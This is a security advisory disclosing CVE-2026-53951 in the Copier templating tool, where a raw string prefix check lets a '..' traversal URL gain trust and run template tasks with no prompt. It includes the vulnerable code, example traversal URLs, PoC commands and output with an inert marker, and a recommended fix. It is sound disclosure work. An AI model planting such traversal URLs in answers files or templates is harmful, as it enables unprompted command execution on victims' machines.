Advisory

PYSEC-2026-3818

Also known as: CVE-2026-53951, GHSA-9gmc-jqmh-3rvm

Summary

Copier has a trust-prefix bypass via path traversal that runs tasks unprompted

Details

Copier: trust-prefix bypass via path traversal runs tasks unprompted

Summary

In copier >= 9.5.0, <= 9.15.1, the trust setting's prefix match
(copier/_settings.py) compares the template URL against a trusted prefix with
a raw str.startswith and no path normalization, while the URL *is*
normalized when the template is actually fetched (Path.resolve() for local
paths; libcurl dot-segment removal for https). A template reference that
textually starts with a trusted prefix but contains ..
(e.g. https://github.com/trusted-org/../attacker-org/repo.git) is therefore
granted trust yet resolves to a different, attacker-controlled template, whose
tasks / migrations / jinja_extensions then run **without the --trust
prompt** — arbitrary command execution. Likely **CWE-22 (Improper Limitation of
a Pathname)** in the trust check leading to CWE-94 (code execution).

Details

trust lets users mark template locations as trusted so copier skips the
unsafe-feature gate. A trailing / makes an entry a prefix match
(docs/settings.md: *"Locations ending with / will be matched as prefixes,
trusting all templates from that location"*).

copier/_settings.py:141-146 (tag v9.15.1):

    return any(
        repository.startswith(_normalize(t))
        if t.endswith("/")
        else repository == _normalize(t)
        for t in trust
    )

_normalize only expands ~; it does not touch .. or collapse segments —
copier/_settings.py:149-152 (tag v9.15.1):

def _normalize(url: str) -> str:
    if url.startswith("~"):  # Only expand on str to avoid messing with URLs
        url = expanduser(url)  # noqa: PTH111
    return url

This decision gates code execution — copier/_main.py:293 (tag v9.15.1):

        if self.unsafe or is_trusted_repository(self.settings.trust, self.template.url):
            return  # skip the unsafe-feature check entirely

The chain: the trust comparison sees the raw URL, so
"https://github.com/safeorg/../evilorg/t.git".startswith("https://github.com/safeorg/")
is True; but the value copier hands to git/pathlib is normalized, so
the template actually loaded is evilorg/t (a different, attacker-owned org).
Trust is granted to a location the user never trusted, and _check_unsafe
returns early, so the malicious template's tasks execute with no prompt.

This is most acute on copier update, which reads _src_path from the
project's .copier-answers.yml (copier/_subproject.py) — i.e. an attacker who
hands you a project controls the URL that the trust check is applied to.

In-repo asymmetry that confirms the omission: copier consistently resolves
paths *everywhere else* it makes a security decision — Path.resolve() plus
is_relative_to(...) guards in _render_template, template_copy_root, and
_external_data — but not in the trust comparison.

PoC

Self-contained standalone script; runs against a clean, pinned PyPI install via
the real copier CLI only. Static by default (copier copy --pretend
reaches the trust decision but does not execute tasks); --prove-exec is an
opt-in supplementary run that fires an inert marker (echo + touch). The full
poc.py accompanies this report.

Build and run:

python -m venv venv && . venv/bin/activate
pip install "copier==9.15.1"
python poc.py                # static proof (default)
python poc.py --prove-exec   # also fire the inert marker

Observed output (copier 9.15.1):

== version proof ==
  copier == 9.15.1
  module : .../site-packages/copier/__init__.py

== inputs ==
  trusted prefix (settings.yml): /tmp/copier_trust_poc_XXXX/trusted_templates/
  control src (canonical)      : /tmp/copier_trust_poc_XXXX/attacker/evil_template
  exploit src (traversal)      : /tmp/copier_trust_poc_XXXX/trusted_templates/../attacker/evil_template
  both resolve to the SAME dir : True
  exploit startswith trusted/  : True
  minimal delta                : exploit = '/tmp/copier_trust_poc_XXXX/trusted_templates/..' + '/attacker/evil_template'

== static proof (copier copy --pretend; payload NOT executed) ==
  control (canonical, untrusted): exit=4  -> BLOCKED (UnsafeTemplateError)
  exploit (trusted-prefix /..)  : exit=0  -> TRUSTED, task reached
  marker on disk after --pretend: False (expected False: --pretend does not run tasks)

  --- copier's own output for the exploit (note the task it WOULD run) ---
  | Copying from template version None
  |     create  hello.txt
  |  > Running task 1 of 1: echo COPIER-TRUST-BYPASS-RCE-MARKER && touch COPIER_RCE_PROOF

== VERDICT ==
  BYPASS CONFIRMED: identical template is refused by canonical path
  (exit 4) yet granted trust via '<trusted>/..' traversal (exit 0),
  so its tasks run with no --trust prompt.

== --prove-exec: running the exploit for real (inert marker) ==
  | COPIER-TRUST-BYPASS-RCE-MARKER
  |  > Running task 1 of 1: echo COPIER-TRUST-BYPASS-RCE-MARKER && touch COPIER_RCE_PROOF
  exit=0  marker file 'COPIER_RCE_PROOF' created: True
  -> ARBITRARY COMMAND EXECUTED via a 'trusted' template, no --trust

The exploit is the same template as the control plus the minimal delta
<trusted_prefix>/... Deterministic: same input → same result. The PoC uses a
local trusted prefix for a self-contained, network-free run; the https case is
identical because git normalizes .. before the request — e.g.
git ls-remote "https://github.com/copier-org/../pallets/flask.git" emits
warning: redirecting to https://github.com/pallets/flask.git/ and returns
pallets/flask's refs, a different org than the trusted copier-org/.

Impact

A user who has configured a trusted prefix (a trailing-/ entry in
trust, a documented feature) no longer gets the unsafe-feature prompt for a
template that merely *appears* to live under that prefix. Any party who can
influence the template URL — most realistically the author of a project the
victim runs copier update on, since _src_path comes from that project's
.copier-answers.yml — can host the real template under a different
org/location reached via .. and have its tasks/migrations/
jinja_extensions execute arbitrary commands with no prompt. It fires on a
default, modern git for both local paths and https.

Proposed severity: High, comparable to the project's prior unsafe-template
advisory (GHSA-3xw7-v6cj-5q8h). Proposed CVSS v4 vector (maintainer to finalize;
AT:P reflects the required trusted-prefix configuration):
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H. Conservative
variant if you scope impact to the user account only (no host escape claim):
drop SC/SI/SA to N.

Recommended fix

Normalize both sides before comparing, instead of raw startswith. For
local entries, compare resolved absolute paths (Path(t).resolve() vs
Path(repository).resolve()) using segment containment / is_relative_to, the
pattern already used in _render_template and template_copy_root. For URL
entries, parse the URL and reject or collapse .././empty path segments
before the prefix test. As defense-in-depth, reject any _src_path read from an
answers file that contains .. segments after the scheme/host, since
legitimate template URLs never need them.

Severity

Not rated by the source.

Dates

Published
2026-09-10 09:44 UTC
Modified
2026-09-10 12:15 UTC

Affected packages and fixes

copier

PyPI · All systems

Affected

  • introduced 9.5.0, fixed 9.15.2 (ecosystem)

Fixed versions

9.15.2

Fix

  • Fixed version 9.15.2
    pip install --upgrade copier==9.15.2

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Source

Source: PyPA Advisory Database · CC BY 4.0

Sources & licences